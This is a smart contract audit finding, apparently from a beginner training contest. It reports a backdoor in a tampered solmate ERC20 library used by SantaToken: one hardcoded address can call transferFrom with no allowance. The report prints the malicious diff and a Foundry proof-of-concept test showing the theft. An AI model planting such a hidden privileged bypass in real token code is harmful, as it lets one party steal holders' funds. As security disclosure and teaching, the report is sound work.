Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

ERC20 backdoor allowing pre set address to transfer without allowance

Summary

The solmate ERC20.sol lib used by SantaToken.sol is not a standard library. As we can see in the lib folder it's using solmate-bad from this repository .
There is a custom implementation of the transferFrom method allowing
0x815F577F1c1bcE213c012f166744937C889DAF17 to transfer token without allowance.

Vulnerability Details

Here is the custom implementation of the erc20, which implement 0x815F577F1c1bcE213c012f166744937C889DAF17 backdoor

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
+ // hehehe :)
+ // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
+ if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
+ balanceOf[from] -= amount;
+ unchecked {
+ balanceOf[to] += amount;
+ }
+ emit Transfer(from, to, amount);
+ return true;
+ }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

Base on this POC we can clearly see that a regular address need to approve an other address for transferring token before doing a transferFrom, while 0x815F577F1c1bcE213c012f166744937C889DAF17 can transfer any available amount from any addresses without approval.

Here is the

contract SantasTokenTest is Test {
SantaToken santaToken;
address user = makeAddr("user");
address santa = makeAddr("santa");
address backdoorUser = address(0x815F577F1c1bcE213c012f166744937C889DAF17);
function setUp() public {
vm.startPrank(user);
santaToken = new SantaToken(user);
santaToken.mint(user);
vm.stopPrank();
}
function testSantaTokenBackdoor() public {
uint256 balance = santaToken.balanceOf(user);
assertEq(balance, 1e18);
// Revert without approval
vm.prank(santa);
vm.expectRevert();
santaToken.transferFrom(user, santa, 1e18);
vm.stopPrank();
// Backdoor user don't need approval to transferFrom
vm.prank(backdoorUser);
santaToken.transferFrom(user, backdoorUser, 1e18);
uint256 balanceBackdoor = santaToken.balanceOf(backdoorUser);
uint256 newUserBalance = santaToken.balanceOf(user);
assertEq(balance, 1e18);
assertEq(newUserBalance, 0);
vm.stopPrank();
}
}

Impact

High impact as this pre set address 0x815F577F1c1bcE213c012f166744937C889DAF17 can steal token from any other user who mint the erc20.

Based on this transaction

https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d

the hacker clearly warned that he will hack santa token. ;)

I am going to hack Santas Token!

Tools Used

Forge test

Recommendations

Do not use library that are not coming from the official source, and in any case don't trust always verify external libraries implementation.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.